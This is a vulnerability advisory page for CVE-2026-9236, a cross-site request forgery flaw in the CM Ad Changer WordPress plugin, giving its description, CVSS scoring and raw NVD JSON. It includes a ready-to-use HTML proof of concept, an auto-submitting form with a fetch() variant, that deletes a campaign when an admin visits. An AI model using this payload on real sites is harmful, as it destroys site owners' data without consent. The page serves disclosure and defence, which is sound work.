Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-9236 CVSS 4.3 MEDIUM

CVE-2026-9236

Published: 2026-05-27 05:16:23
Last Modified: 2026-05-27 14:50:48

Description

The CM Ad Changer – A simple tool to control and optimize your site's banners plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.7. This is due to missing or incorrect nonce validation on the cmac_campaigns_action function. This makes it possible for unauthenticated attackers to permanently delete arbitrary advertising campaigns, including their associated banner records and uploaded files via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CM Ad Changer WordPress Plugin <= 2.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2026-9236 - Delete arbitrary campaign --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2026-9236</title> </head> <body> <h1>CM Ad Changer CSRF Vulnerability PoC</h1> <p>This PoC demonstrates the CSRF vulnerability in CM Ad Changer <= 2.0.7</p> <p>When the admin visits this page, the campaign with ID 1 will be deleted.</p> <!-- Auto-submit form to delete campaign with ID 1 --> <form id="csrfForm" action="http://target-site/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="action" value="cmac_campaigns_action"> <input type="hidden" name="cmac_action" value="delete"> <input type="hidden" name="campaign_id" value="1"> <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=cmac_campaigns"> </form> <script> // Auto-submit after page load document.getElementById('csrfForm').submit(); </script> <!-- Alternative: AJAX-based attack (bypasses some CSRF protections) --> <script> // Alternative PoC using fetch API async function exploitCSRF() { const targetUrl = 'http://target-site/wp-admin/admin-post.php'; const formData = new FormData(); formData.append('action', 'cmac_campaigns_action'); formData.append('cmac_action', 'delete'); formData.append('campaign_id', '1'); await fetch(targetUrl, { method: 'POST', credentials: 'include', // Include admin cookies body: formData }); } // Uncomment to auto-execute: // exploitCSRF(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9236", "sourceIdentifier": "[email protected]", "published": "2026-05-27T05:16:23.280", "lastModified": "2026-05-27T14:50:47.627", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CM Ad Changer – A simple tool to control and optimize your site's banners plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.7. This is due to missing or incorrect nonce validation on the cmac_campaigns_action function. This makes it possible for unauthenticated attackers to permanently delete arbitrary advertising campaigns, including their associated banner records and uploaded files via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cm-ad-changer/tags/2.0.7/backend/cm-ad-changer-backend.php#L167", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cm-ad-changer/tags/2.0.7/backend/cm-ad-changer-backend.php#L177", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cm-ad-changer/tags/2.0.7/shared/classes/cmac-data.php#L363", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3544026%40cm-ad-changer&new=3544026%40cm-ad-changer&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a335c917-3fff-4079-bb38-64cd665c5c38?source=cve", "source": "[email protected]"}]}}